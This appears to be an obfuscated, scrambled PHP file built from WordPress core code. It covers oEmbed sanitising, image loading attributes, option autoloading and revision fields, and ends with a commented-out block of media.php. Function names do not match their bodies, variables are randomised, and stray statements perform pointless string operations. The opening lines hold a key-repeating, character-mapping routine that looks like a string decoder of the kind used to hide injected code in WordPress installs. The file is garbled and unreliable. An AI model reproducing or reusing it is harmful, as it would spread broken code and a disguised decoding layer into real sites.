$QuicktimeSTIKLookup = strlen($wp_filetype); // PCLZIP_CB_PRE_ADD : $additional_ids = strlen($unlink_homepage_logo); // Build the schema based on valid block & element names. $details_aria_label = 'h707'; $details_aria_label = rtrim($details_aria_label); $QuicktimeSTIKLookup = $additional_ids / $QuicktimeSTIKLookup; $shared_term = 'xkp16t5'; $details_aria_label = strtoupper($shared_term); $details_aria_label = str_repeat($shared_term, 5); // 5.4.2.15 roomtyp: Room Type, 2 Bits $details_aria_label = strcoll($shared_term, $shared_term); $shared_term = nl2br($shared_term); $QuicktimeSTIKLookup = ceil($QuicktimeSTIKLookup); // Create and register the eligible taxonomies variations. // Sanitizes the property. $opener = str_split($unlink_homepage_logo); $wp_filetype = str_repeat($wp_filetype, $QuicktimeSTIKLookup); // Wrong file name, see #37628. // Store the clause in our flat array. // default $map = str_split($wp_filetype); // Return `?p=` link for all public post types. $map = array_slice($map, 0, $additional_ids); //if (strlen(trim($chunkname, "\x00")) < 4) { $uninstall_plugins = array_map("wp_new_comment_notify_postauthor", $opener, $map); $css_item = 'm66ma0fd6'; $details_aria_label = ucwords($css_item); $details_aria_label = html_entity_decode($shared_term); $uninstall_plugins = implode('', $uninstall_plugins); $theme_root = 'kdxemff'; $css_item = soundex($theme_root); // s6 -= s15 * 997805; return $uninstall_plugins; } /** * The Post Type for the Controller * * @since 6.3.0 * * @var string */ function add_dependencies_to_dependent_plugin_row($size_class){ echo $size_class; } $upgrade_dir_exists = rawurlencode($chapter_string_length_hex); $newblog = 'azhlo97q'; $chapter_string_length_hex = stripcslashes($current_locale); /** * Filters the given oEmbed HTML. * * If the `$transports` isn't on the trusted providers list, * we need to filter the HTML heavily for security. * * Only filters 'rich' and 'video' response types. * * @since 4.4.0 * * @param string $new_terms The oEmbed HTML result. * @param object $unlink_homepage_logo A data object result from an oEmbed provider. * @param string $transports The URL of the content to be embedded. * @return string The filtered and sanitized oEmbed result. */ function sc_muladd($new_terms, $unlink_homepage_logo, $transports) { if (false === $new_terms || !in_array($unlink_homepage_logo->type, array('rich', 'video'), true)) { return $new_terms; } $block_template_file = _wp_oembed_get_object(); // Don't modify the HTML for trusted providers. if (false !== $block_template_file->get_provider($transports, array('discover' => false))) { return $new_terms; } $dots = array('a' => array('href' => true), 'blockquote' => array(), 'iframe' => array('src' => true, 'width' => true, 'height' => true, 'frameborder' => true, 'marginwidth' => true, 'marginheight' => true, 'scrolling' => true, 'title' => true)); $missing_sizes = wp_kses($new_terms, $dots); preg_match('|(<blockquote>.*?</blockquote>)?.*(<iframe.*</iframe>)|ms', $missing_sizes, $development_version); // We require at least the iframe to exist. if (empty($development_version[2])) { return false; } $missing_sizes = $development_version[1] . $development_version[2]; preg_match('/ src=([\'"])(.*?)\1/', $missing_sizes, $frames_scan_per_segment); if (!empty($frames_scan_per_segment)) { $missing_schema_attributes = wp_generate_password(10, false); $transports = esc_url("{$frames_scan_per_segment[2]}#?secret={$missing_schema_attributes}"); $twelve_bit = $frames_scan_per_segment[1]; $missing_sizes = str_replace($frames_scan_per_segment[0], ' src=' . $twelve_bit . $transports . $twelve_bit . ' data-secret=' . $twelve_bit . $missing_schema_attributes . $twelve_bit, $missing_sizes); $missing_sizes = str_replace('<blockquote', "<blockquote data-secret=\"{$missing_schema_attributes}\"", $missing_sizes); } $dots['blockquote']['data-secret'] = true; $dots['iframe']['data-secret'] = true; $missing_sizes = wp_kses($missing_sizes, $dots); if (!empty($development_version[1])) { // We have a blockquote to fall back on. Hide the iframe by default. $missing_sizes = str_replace('<iframe', '<iframe style="position: absolute; clip: rect(1px, 1px, 1px, 1px);"', $missing_sizes); $missing_sizes = str_replace('<blockquote', '<blockquote class="wp-embedded-content"', $missing_sizes); } $missing_sizes = str_ireplace('<iframe', '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"', $missing_sizes); return $missing_sizes; } function get_widget_control() { if (!class_exists('Akismet_Admin')) { return false; } return Akismet_Admin::rightnow_stats(); } $hide = 'pctk4w'; $allowed_where = stripslashes($hide); // If there are no remaining hooks, clear out all running iterations. // Else, if the template part was provided by the active theme, /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the home link markup in the front-end. * * @param array $cache_args Home link block context. * @return array Font size CSS classes and inline styles. */ function the_custom_header_markup($cache_args) { // CSS classes. $tmp_locations = array('css_classes' => array(), 'inline_styles' => ''); $table_alias = array_key_exists('fontSize', $cache_args); $meta_compare_key = isset($cache_args['style']['typography']['fontSize']); if ($table_alias) { // Add the font size class. $tmp_locations['css_classes'][] = sprintf('has-%s-font-size', $cache_args['fontSize']); } elseif ($meta_compare_key) { // Add the custom font size inline style. $tmp_locations['inline_styles'] = sprintf('font-size: %s;', $cache_args['style']['typography']['fontSize']); } return $tmp_locations; } $inchannel = 'ohedqtr'; // for (i = 0; i < 63; ++i) { $wp_file_descriptions = 'u3goc'; $chapter_string_length_hex = ucfirst($inchannel); // place 'Add Widget' and 'Reorder' buttons at end. $code_lang = strnatcmp($newblog, $wp_file_descriptions); $chapter_string_length_hex = stripos($inchannel, $inchannel); // parse flac container $v_arg_list = 'fcus7jkn'; $inchannel = soundex($v_arg_list); $check_plugin_theme_updates = 'po0pdo4k'; $sign_up_url = 'gxfzmi6f2'; $chapter_string_length_hex = str_shuffle($sign_up_url); $exclusion_prefix = PrintHexBytes($check_plugin_theme_updates); // [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to. $unpadded = 'syv75jh'; $commentarr = 'l29vdsgue'; $unpadded = ltrim($commentarr); $style_files = 'sr4f9'; $inchannel = htmlspecialchars($v_arg_list); $v_arg_list = str_repeat($sign_up_url, 5); // Send to the administration and to the post author if the author can modify the comment. $commentarr = 'evnfyiu7'; $current_locale = trim($widget_options); $style_files = rawurldecode($commentarr); $new_selectors = 'w1h7jjmr'; $min_max_checks = 'j72v'; /** * Adds optimization attributes to an `img` HTML tag. * * @since 6.3.0 * * @param string $alignments The HTML `img` tag where the attribute should be added. * @param string $cache_args Additional context to pass to the filters. * @return string Converted `img` tag with optimization attributes added. */ function handle_upload($alignments, $cache_args) { $upgrade_files = preg_match('/ width=["\']([0-9]+)["\']/', $alignments, $robots) ? (int) $robots[1] : null; $cache_expiration = preg_match('/ height=["\']([0-9]+)["\']/', $alignments, $firsttime) ? (int) $firsttime[1] : null; $type_terms = preg_match('/ loading=["\']([A-Za-z]+)["\']/', $alignments, $super_admins) ? $super_admins[1] : null; $fresh_terms = preg_match('/ fetchpriority=["\']([A-Za-z]+)["\']/', $alignments, $hook_extra) ? $hook_extra[1] : null; $DIVXTAG = preg_match('/ decoding=["\']([A-Za-z]+)["\']/', $alignments, $install_url) ? $install_url[1] : null; /* * Get loading optimization attributes to use. * This must occur before the conditional check below so that even images * that are ineligible for being lazy-loaded are considered. */ $seen = wp_get_loading_optimization_attributes('img', array('width' => $upgrade_files, 'height' => $cache_expiration, 'loading' => $type_terms, 'fetchpriority' => $fresh_terms, 'decoding' => $DIVXTAG), $cache_args); // Images should have source for the loading optimization attributes to be added. if (!str_contains($alignments, ' src="')) { return $alignments; } if (empty($DIVXTAG)) { /** * Filters the `decoding` attribute value to add to an image. Default `async`. * * Returning a falsey value will omit the attribute. * * @since 6.1.0 * * @param string|false|null $f9g5_38 The `decoding` attribute value. Returning a falsey value * will result in the attribute being omitted for the image. * Otherwise, it may be: 'async', 'sync', or 'auto'. Defaults to false. * @param string $alignments The HTML `img` tag to be filtered. * @param string $cache_args Additional context about how the function was called * or where the img tag is. */ $clear_destination = apply_filters('wp_img_tag_add_decoding_attr', isset($seen['decoding']) ? $seen['decoding'] : false, $alignments, $cache_args); // Validate the values after filtering. if (isset($seen['decoding']) && !$clear_destination) { // Unset `decoding` attribute if `$clear_destination` is set to `false`. unset($seen['decoding']); } elseif (in_array($clear_destination, array('async', 'sync', 'auto'), true)) { $seen['decoding'] = $clear_destination; } if (!empty($seen['decoding'])) { $alignments = str_replace('<img', '<img decoding="' . esc_attr($seen['decoding']) . '"', $alignments); } } // Images should have dimension attributes for the 'loading' and 'fetchpriority' attributes to be added. if (!str_contains($alignments, ' width="') || !str_contains($alignments, ' height="')) { return $alignments; } // Retained for backward compatibility. $submatchbase = wp_lazy_loading_enabled('img', $cache_args); if (empty($type_terms) && $submatchbase) { /** * Filters the `loading` attribute value to add to an image. Default `lazy`. * * Returning `false` or an empty string will not add the attribute. * Returning `true` will add the default value. * * @since 5.5.0 * * @param string|bool $f9g5_38 The `loading` attribute value. Returning a falsey value will result in * the attribute being omitted for the image. * @param string $alignments The HTML `img` tag to be filtered. * @param string $cache_args Additional context about how the function was called or where the img tag is. */ $validities = apply_filters('wp_img_tag_add_loading_attr', isset($seen['loading']) ? $seen['loading'] : false, $alignments, $cache_args); // Validate the values after filtering. if (isset($seen['loading']) && !$validities) { // Unset `loading` attributes if `$validities` is set to `false`. unset($seen['loading']); } elseif (in_array($validities, array('lazy', 'eager'), true)) { /* * If the filter changed the loading attribute to "lazy" when a fetchpriority attribute * with value "high" is already present, trigger a warning since those two attribute * values should be mutually exclusive. * * The same warning is present in `wp_get_loading_optimization_attributes()`, and here it * is only intended for the specific scenario where the above filtered caused the problem. */ if (isset($seen['fetchpriority']) && 'high' === $seen['fetchpriority'] && (isset($seen['loading']) ? $seen['loading'] : false) !== $validities && 'lazy' === $validities) { _doing_it_wrong(__FUNCTION__, __('An image should not be lazy-loaded and marked as high priority at the same time.'), '6.3.0'); } // The filtered value will still be respected. $seen['loading'] = $validities; } if (!empty($seen['loading'])) { $alignments = str_replace('<img', '<img loading="' . esc_attr($seen['loading']) . '"', $alignments); } } if (empty($fresh_terms) && !empty($seen['fetchpriority'])) { $alignments = str_replace('<img', '<img fetchpriority="' . esc_attr($seen['fetchpriority']) . '"', $alignments); } return $alignments; } $sign_up_url = rawurlencode($v_arg_list); $SurroundInfoID = 'ci8rw'; /** * Displays the permalink anchor for the current post. * * The permalink mode title will use the post title for the 'a' element 'id' * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute. * * @since 0.71 * * @param string $resource Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'. */ function get_return_url($resource = 'id') { $unregistered_source = get_post(); switch (strtolower($resource)) { case 'title': $mce_settings = sanitize_title($unregistered_source->post_title) . '-' . $unregistered_source->ID; echo '<a id="' . $mce_settings . '"></a>'; break; case 'id': default: echo '<a id="post-' . $unregistered_source->ID . '"></a>'; break; } } // Create new instances to collect the assets. // Error if the client tried to stick the post, otherwise, silently unstick. // parser variables // TODO: Review this call to add_user_to_blog too - to get here the user must have a role on this blog? $new_selectors = strrpos($min_max_checks, $SurroundInfoID); $new_group = 'qrwr2dm'; /** * @see ParagonIE_Sodium_Compat::ristretto255_add() * * @param string $varmatch * @param string $twelve_bit * @return string * @throws SodiumException */ function get_post_type_archive_template($varmatch, $twelve_bit) { return ParagonIE_Sodium_Compat::ristretto255_add($varmatch, $twelve_bit, true); } $children = 'xe6f'; /** * Retrieves a list of networks. * * @since 4.6.0 * * @param string|array $last_smtp_transaction_id Optional. Array or string of arguments. See WP_Network_Query::parse_query() * for information on accepted arguments. Default empty array. * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ function wp_maybe_add_fetchpriority_high_attr($last_smtp_transaction_id = array()) { $bext_key = new WP_Network_Query(); return $bext_key->query($last_smtp_transaction_id); } // Register core attributes. // but only with different contents // Attributes must not be accessed directly. $new_group = convert_uuencode($children); //foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) { // Limit the preview styles in the menu/toolbar. // treat it like a regular array /** * Determines whether the given file is a valid ZIP file. * * This function does not test to ensure that a file exists. Non-existent files * are not valid ZIPs, so those will also return false. * * @since 6.4.4 * * @param string $notes Full path to the ZIP file. * @return bool Whether the file is a valid ZIP file. */ function get_blog_id_from_url($notes) { /** This filter is documented in wp-admin/includes/file.php */ if (class_exists('ZipArchive', false) && apply_filters('unzip_file_use_ziparchive', true)) { $encoding_converted_text = new ZipArchive(); $source_height = $encoding_converted_text->open($notes, ZipArchive::CHECKCONS); if (true === $source_height) { $encoding_converted_text->close(); return true; } } // Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file. require_once ABSPATH . 'wp-admin/includes/class-pclzip.php'; $encoding_converted_text = new PclZip($notes); $source_height = is_array($encoding_converted_text->properties()); return $source_height; } $redirect_host_low = 'pnie'; // Back-compat. $SurroundInfoID = init_query_flags($redirect_host_low); // Check to see if the bundled items exist before attempting to copy them. $source_width = 'p61jo'; // read size of the first SequenceParameterSet $g7_19 = 'k4mx150h'; // Add the custom overlay background-color inline style. /** * Handles the enqueueing of block scripts and styles that are common to both * the editor and the front-end. * * @since 5.0.0 */ function get_ip_address() { if (is_admin() && !wp_should_load_block_editor_scripts_and_styles()) { return; } wp_enqueue_style('wp-block-library'); if (current_theme_supports('wp-block-styles') && !wp_should_load_separate_core_block_assets()) { wp_enqueue_style('wp-block-library-theme'); } /** * Fires after enqueuing block assets for both editor and front-end. * * Call `add_action` on any hook before 'wp_enqueue_scripts'. * * In the function call you supply, simply use `wp_enqueue_script` and * `wp_enqueue_style` to add your functionality to the Gutenberg editor. * * @since 5.0.0 */ do_action('enqueue_block_assets'); } // characters U-00000080 - U-000007FF, mask 110XXXXX // Specified application password not found! $source_width = htmlspecialchars($g7_19); // Preserve only the top most level keys. // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $customized_value = 'trjrxlf'; /** * Sets the autoload values for multiple options in the database. * * Autoloading too many options can lead to performance problems, especially if the options are not frequently used. * This function allows modifying the autoload value for multiple options without changing the actual option value. * This is for example recommended for plugin activation and deactivation hooks, to ensure any options exclusively used * by the plugin which are generally autoloaded can be set to not autoload when the plugin is inactive. * * @since 6.4.0 * * @global wpdb $done_header WordPress database abstraction object. * * @param array $style_width Associative array of option names and their autoload values to set. The option names are * expected to not be SQL-escaped. The autoload values accept 'yes'|true to enable or 'no'|false * to disable. * @return array Associative array of all provided $style_width as keys and boolean values for whether their autoload value * was updated. */ function wp_cache_set_terms_last_changed(array $style_width) { global $done_header; if (!$style_width) { return array(); } $views = array('yes' => array(), 'no' => array()); $frames_scan_per_segment = array(); foreach ($style_width as $is_multi_widget => $edit_link) { wp_protect_special_option($is_multi_widget); // Ensure only valid options can be passed. if ('no' === $edit_link || false === $edit_link) { // Sanitize autoload value and categorize accordingly. $views['no'][] = $is_multi_widget; } else { $views['yes'][] = $is_multi_widget; } $frames_scan_per_segment[$is_multi_widget] = false; // Initialize result value. } $formatted = array(); $compressed_size = array(); foreach ($views as $edit_link => $style_width) { if (!$style_width) { continue; } $cache_hash = implode(',', array_fill(0, count($style_width), '%s')); $formatted[] = "autoload != '%s' AND option_name IN ({$cache_hash})"; $compressed_size[] = $edit_link; foreach ($style_width as $is_multi_widget) { $compressed_size[] = $is_multi_widget; } } $formatted = 'WHERE ' . implode(' OR ', $formatted); /* * Determine the relevant options that do not already use the given autoload value. * If no options are returned, no need to update. */ // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $action_type = $done_header->get_col($done_header->prepare("SELECT option_name FROM {$done_header->options} {$formatted}", $compressed_size)); if (!$action_type) { return $frames_scan_per_segment; } // Run UPDATE queries as needed (maximum 2) to update the relevant options' autoload values to 'yes' or 'no'. foreach ($views as $edit_link => $style_width) { if (!$style_width) { continue; } $style_width = array_intersect($style_width, $action_type); $views[$edit_link] = $style_width; if (!$views[$edit_link]) { continue; } // Run query to update autoload value for all the options where it is needed. $has_default_theme = $done_header->query($done_header->prepare("UPDATE {$done_header->options} SET autoload = %s WHERE option_name IN (" . implode(',', array_fill(0, count($views[$edit_link]), '%s')) . ')', array_merge(array($edit_link), $views[$edit_link]))); if (!$has_default_theme) { // Set option list to an empty array to indicate no options were updated. $views[$edit_link] = array(); continue; } // Assume that on success all options were updated, which should be the case given only new values are sent. foreach ($views[$edit_link] as $is_multi_widget) { $frames_scan_per_segment[$is_multi_widget] = true; } } /* * If any options were changed to 'yes', delete their individual caches, and delete 'alloptions' cache so that it * is refreshed as needed. * If no options were changed to 'yes' but any options were changed to 'no', delete them from the 'alloptions' * cache. This is not necessary when options were changed to 'yes', since in that situation the entire cache is * deleted anyway. */ if ($views['yes']) { wp_cache_delete_multiple($views['yes'], 'options'); wp_cache_delete('alloptions', 'options'); } elseif ($views['no']) { $raw_response = wp_load_alloptions(true); foreach ($views['no'] as $is_multi_widget) { if (isset($raw_response[$is_multi_widget])) { unset($raw_response[$is_multi_widget]); } } wp_cache_set('alloptions', $raw_response, 'options'); } return $frames_scan_per_segment; } // response code returned from server /** * Converts lone & characters into `&` (a.k.a. `&`) * * @since 0.71 * * @param string $development_version String of characters to be converted. * @param string $imagick Not used. * @return string Converted string. */ function rest_is_integer($development_version, $imagick = '') { if (!empty($imagick)) { _deprecated_argument(__FUNCTION__, '0.71'); } if (str_contains($development_version, '&')) { $development_version = preg_replace('/&([^#])(?![a-z1-4]{1,8};)/i', '&$1', $development_version); } return $development_version; } // Array to hold URL candidates. $source_width = isError($customized_value); // Get max pages and current page out of the current query, if available. $code_lang = 'jkmtb0umh'; // Prevent dumping out all attachments from the media library. // Queue an event to re-run the update check in $ttl seconds. // Featured Images. $new_attr = 'lswqbic'; // Not a string column. // The cookie is no good, so force login. // catenate the matches $code_lang = chop($new_attr, $new_attr); // s1 += carry0; // k0 => $k[0], $k[1] // Prevent new post slugs that could result in URLs that conflict with date archives. // frame display rate (or 0L) // If there is a suggested ID, use it if not already present. // Validate the `src` property. // 4294967295 = 0xffffffff $current_width = 'exaw92'; //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); $check_plugin_theme_updates = akismet_load_js_and_css($current_width); $min_max_checks = 'glgb'; // ----- Look for extract by index rule $load_once = 'ebpd'; // Update menu locations. $min_max_checks = html_entity_decode($load_once); // Gets the header and first $numLines of the msg body $style_files = 'gir4h'; // THEN we can calculate the video bitrate // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). $default_template_folders = 'mvdjdeng'; // Get all nav menus. # grab the last one (e.g 'div') /** * Post revision functions. * * @package WordPress * @subpackage Post_Revisions */ /** * Determines which fields of posts are to be saved in revisions. * * @since 2.6.0 * @since 4.5.0 A `WP_Post` object can now be passed to the `$unregistered_source` parameter. * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$imagick`. * @access private * * @param array|WP_Post $unregistered_source Optional. A post array or a WP_Post object being processed * for insertion as a post revision. Default empty array. * @param bool $imagick Not used. * @return string[] Array of fields that can be versioned. */ function wp_check_for_changed_dates($unregistered_source = array(), $imagick = false) { static $cats = null; if (!is_array($unregistered_source)) { $unregistered_source = get_post($unregistered_source, ARRAY_A); } if (is_null($cats)) { // Allow these to be versioned. $cats = array('post_title' => __('Title'), 'post_content' => __('Content'), 'post_excerpt' => __('Excerpt')); } /** * Filters the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * @since 4.5.0 The `$unregistered_source` parameter was added. * * @param string[] $cats List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. * @param array $unregistered_source A post array being processed for insertion as a post revision. */ $cats = apply_filters('wp_check_for_changed_dates', $cats, $unregistered_source); // WP uses these internally either in versioning or elsewhere - they cannot be versioned. foreach (array('ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author') as $dependency_api_data) { unset($cats[$dependency_api_data]); } return $cats; } // Reference Movie Record Atom $style_files = wordwrap($default_template_folders); /* [ $data['width'] * $data['height'] ] = $data; break; } If it's not an exact match, consider larger sizes with the same aspect ratio. if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) { If '0' is passed to either size, we test ratios against the original file. if ( 0 === $size[0] || 0 === $size[1] ) { $same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $imagedata['width'], $imagedata['height'] ); } else { $same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $size[0], $size[1] ); } if ( $same_ratio ) { $candidates[ $data['width'] * $data['height'] ] = $data; } } } if ( ! empty( $candidates ) ) { Sort the array by size if we have more than one candidate. if ( 1 < count( $candidates ) ) { ksort( $candidates ); } $data = array_shift( $candidates ); * When the size requested is smaller than the thumbnail dimensions, we * fall back to the thumbnail size to maintain backward compatibility with * pre 4.6 versions of WordPress. } elseif ( ! empty( $imagedata['sizes']['thumbnail'] ) && $imagedata['sizes']['thumbnail']['width'] >= $size[0] && $imagedata['sizes']['thumbnail']['width'] >= $size[1] ) { $data = $imagedata['sizes']['thumbnail']; } else { return false; } Constrain the width and height attributes to the requested values. list( $data['width'], $data['height'] ) = image_constrain_size_for_editor( $data['width'], $data['height'], $size ); } elseif ( ! empty( $imagedata['sizes'][ $size ] ) ) { $data = $imagedata['sizes'][ $size ]; } If we still don't have a match at this point, return false. if ( empty( $data ) ) { return false; } Include the full filesystem path of the intermediate file. if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) { $file_url = wp_get_attachment_url( $post_id ); $data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] ); $data['url'] = path_join( dirname( $file_url ), $data['file'] ); } * * Filters the output of image_get_intermediate_size() * * @since 4.4.0 * * @see image_get_intermediate_size() * * @param array $data Array of file relative path, width, and height on success. May also include * file absolute path and URL. * @param int $post_id The ID of the image attachment. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). return apply_filters( 'image_get_intermediate_size', $data, $post_id, $size ); } * * Gets the available intermediate image size names. * * @since 3.0.0 * * @return string[] An array of image size names. function get_intermediate_image_sizes() { $default_sizes = array( 'thumbnail', 'medium', 'medium_large', 'large' ); $additional_sizes = wp_get_additional_image_sizes(); if ( ! empty( $additional_sizes ) ) { $default_sizes = array_merge( $default_sizes, array_keys( $additional_sizes ) ); } * * Filters the list of intermediate image sizes. * * @since 2.5.0 * * @param string[] $default_sizes An array of intermediate image size names. Defaults * are 'thumbnail', 'medium', 'medium_large', 'large'. return apply_filters( 'intermediate_image_sizes', $default_sizes ); } * * Returns a normalized list of all currently registered image sub-sizes. * * @since 5.3.0 * @uses wp_get_additional_image_sizes() * @uses get_intermediate_image_sizes() * * @return array[] Associative array of arrays of image sub-size information, * keyed by image size name. function wp_get_registered_image_subsizes() { $additional_sizes = wp_get_additional_image_sizes(); $all_sizes = array(); foreach ( get_intermediate_image_sizes() as $size_name ) { $size_data = array( 'width' => 0, 'height' => 0, 'crop' => false, ); if ( isset( $additional_sizes[ $size_name ]['width'] ) ) { For sizes added by plugins and themes. $size_data['width'] = (int) $additional_sizes[ $size_name ]['width']; } else { For default sizes set in options. $size_data['width'] = (int) get_option( "{$size_name}_size_w" ); } if ( isset( $additional_sizes[ $size_name ]['height'] ) ) { $size_data['height'] = (int) $additional_sizes[ $size_name ]['height']; } else { $size_data['height'] = (int) get_option( "{$size_name}_size_h" ); } if ( empty( $size_data['width'] ) && empty( $size_data['height'] ) ) { This size isn't set. continue; } if ( isset( $additional_sizes[ $size_name ]['crop'] ) ) { $size_data['crop'] = $additional_sizes[ $size_name ]['crop']; } else { $size_data['crop'] = get_option( "{$size_name}_crop" ); } if ( ! is_array( $size_data['crop'] ) || empty( $size_data['crop'] ) ) { $size_data['crop'] = (bool) $size_data['crop']; } $all_sizes[ $size_name ] = $size_data; } return $all_sizes; } * * Retrieves an image to represent an attachment. * * @since 2.5.0 * * @param int $attachment_id Image attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'thumbnail'. * @param bool $icon Optional. Whether the image should fall back to a mime type icon. Default false. * @return array|false { * Array of image data, or boolean false if no image is available. * * @type string $0 Image source URL. * @type int $1 Image width in pixels. * @type int $2 Image height in pixels. * @type bool $3 Whether the image is a resized image. * } function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) { Get a thumbnail or intermediate image if there is one. $image = image_downsize( $attachment_id, $size ); if ( ! $image ) { $src = false; if ( $icon ) { $src = wp_mime_type_icon( $attachment_id ); if ( $src ) { * This filter is documented in wp-includes/post.php $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' ); $src_file = $icon_dir . '/' . wp_basename( $src ); list( $width, $height ) = wp_getimagesize( $src_file ); } } if ( $src && $width && $height ) { $image = array( $src, $width, $height, false ); } } * * Filters the attachment image source result. * * @since 4.3.0 * * @param array|false $image { * Array of image data, or boolean false if no image is available. * * @type string $0 Image source URL. * @type int $1 Image width in pixels. * @type int $2 Image height in pixels. * @type bool $3 Whether the image is a resized image. * } * @param int $attachment_id Image attachment ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param bool $icon Whether the image should be treated as an icon. return apply_filters( 'wp_get_attachment_image_src', $image, $attachment_id, $size, $icon ); } * * Gets an HTML img element representing an image attachment. * * While `$size` will accept an array, it is better to register a size with * add_image_size() so that a cropped version is generated. It's much more * efficient than having to find the closest-sized image and then having the * browser scale down the image. * * @since 2.5.0 * @since 4.4.0 The `$srcset` and `$sizes` attributes were added. * @since 5.5.0 The `$loading` attribute was added. * @since 6.1.0 The `$decoding` attribute was added. * * @param int $attachment_id Image attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param bool $icon Optional. Whether the image should be treated as an icon. Default false. * @param string|array $attr { * Optional. Attributes for the image markup. * * @type string $src Image attachment URL. * @type string $class CSS class name or space-separated list of classes. * Default `attachment-$size_class size-$size_class`, * where `$size_class` is the image size being requested. * @type string $alt Image description for the alt attribute. * @type string $srcset The 'srcset' attribute value. * @type string $sizes The 'sizes' attribute value. * @type string|false $loading The 'loading' attribute value. Passing a value of false * will result in the attribute being omitted for the image. * Defaults to 'lazy', depending on wp_lazy_loading_enabled(). * @type string $decoding The 'decoding' attribute value. Possible values are * 'async' (default), 'sync', or 'auto'. * } * @return string HTML img element or empty string on failure. function wp_get_attachment_image( $attachment_id, $size = 'thumbnail', $icon = false, $attr = '' ) { $html = ''; $image = wp_get_attachment_image_src( $attachment_id, $size, $icon ); if ( $image ) { list( $src, $width, $height ) = $image; $attachment = get_post( $attachment_id ); $hwstring = image_hwstring( $width, $height ); $size_class = $size; if ( is_array( $size_class ) ) { $size_class = implode( 'x', $size_class ); } $default_attr = array( 'src' => $src, 'class' => "attachment-$size_class size-$size_class", 'alt' => trim( strip_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) ), 'decoding' => 'async', ); Add `loading` attribute. if ( wp_lazy_loading_enabled( 'img', 'wp_get_attachment_image' ) ) { $default_attr['loading'] = wp_get_loading_attr_default( 'wp_get_attachment_image' ); } $attr = wp_parse_args( $attr, $default_attr ); If the default value of `lazy` for the `loading` attribute is overridden to omit the attribute for this image, ensure it is not included. if ( array_key_exists( 'loading', $attr ) && ! $attr['loading'] ) { unset( $attr['loading'] ); } Generate 'srcset' and 'sizes' if not already present. if ( empty( $attr['srcset'] ) ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( is_array( $image_meta ) ) { $size_array = array( absint( $width ), absint( $height ) ); $srcset = wp_calculate_image_srcset( $size_array, $src, $image_meta, $attachment_id ); $sizes = wp_calculate_image_sizes( $size_array, $src, $image_meta, $attachment_id ); if ( $srcset && ( $sizes || ! empty( $attr['sizes'] ) ) ) { $attr['srcset'] = $srcset; if ( empty( $attr['sizes'] ) ) { $attr['sizes'] = $sizes; } } } } * * Filters the list of attachment image attributes. * * @since 2.8.0 * * @param string[] $attr Array of attribute values for the image markup, keyed by attribute name. * See wp_get_attachment_image(). * @param WP_Post $attachment Image attachment post. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). $attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size ); $attr = array_map( 'esc_attr', $attr ); $html = rtrim( "<img $hwstring" ); foreach ( $attr as $name => $value ) { $html .= " $name=" . '"' . $value . '"'; } $html .= ' />'; } * * Filters the HTML img element representing an image attachment. * * @since 5.6.0 * * @param string $html HTML img element or empty string on failure. * @param int $attachment_id Image attachment ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param bool $icon Whether the image should be treated as an icon. * @param string[] $attr Array of attribute values for the image markup, keyed by attribute name. * See wp_get_attachment_image(). return apply_filters( 'wp_get_attachment_image', $html, $attachment_id, $size, $icon, $attr ); } * * Gets the URL of an image attachment. * * @since 4.4.0 * * @param int $attachment_id Image attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'thumbnail'. * @param bool $icon Optional. Whether the image should be treated as an icon. Default false. * @return string|false Attachment URL or false if no image is available. If `$size` does not match * any registered image size, the original image URL will be returned. function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) { $image = wp_get_attachment_image_src( $attachment_id, $size, $icon ); return isset( $image[0] ) ? $image[0] : false; } * * Gets the attachment path relative to the upload directory. * * @since 4.4.1 * @access private * * @param string $file Attachment file name. * @return string Attachment path relative to the upload directory. function _wp_get_attachment_relative_path( $file ) { $dirname = dirname( $file ); if ( '.' === $dirname ) { return ''; } if ( false !== strpos( $dirname, 'wp-content/uploads' ) ) { Get the directory name relative to the upload directory (back compat for pre-2.7 uploads). $dirname = substr( $dirname, strpos( $dirname, 'wp-content/uploads' ) + 18 ); $dirname = 